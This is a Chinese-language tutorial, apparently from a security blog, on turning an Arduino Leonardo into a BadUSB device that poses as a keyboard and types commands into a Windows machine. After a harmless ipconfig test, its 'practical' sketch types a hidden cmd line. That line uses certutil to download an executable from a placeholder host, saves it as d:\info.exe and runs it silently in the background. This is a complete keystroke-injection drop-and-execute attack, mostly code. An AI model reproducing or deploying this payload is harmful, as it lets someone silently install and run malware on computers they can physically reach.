郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

1

背景知识

HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

PS:和之前制作的树莓派监听类似,只是这次的更加小巧

准备工作

  • 单片机(Arduino Leonardo)

  • Arduino

初始化

首先我们安装好Arduino后需要把我们的单片机连接上,然后选择端口

image-20220715145048875

以及我们的开发板

image-20220715145137813

需要选着好这两个参数才能上传编辑,接着我们能看到两个函数

void setup() {
// put your setup code here, to run once:

}

void loop() {
// put your main code here, to run repeatedly:

}

setup这个函数是单片机通电后执行的内容

loop是通电结束后,循环执行的内容

调试

写在前头:Keyboard.press 完一定要Keyboard.release 释放按键, 不然会一直按。(心酸泪)

了解完前置知识后先写段代码进行调试

#include <Keyboard.h>
void setup()
{
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /k ipconfig");//要执行的payload
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}

void loop()//循环
{

}

然后点击项目->上传,即可烧录成功,拔下U盘后再插入U盘,动画效果如下(虚拟机卡卡的

动画

实战

写在前头:实战的时候文件名最好放两个,一个全大写一个全小写

推进几个项目

备份文件放在了这里,使用POC为

#include <Keyboard.h>
void setup()
{
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://0.0.0.0/test.exe d:\\info.exe && timeout /t 1 && start /B d:\\info.exe" ); //无回显
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯

}

void loop()//循环
{

}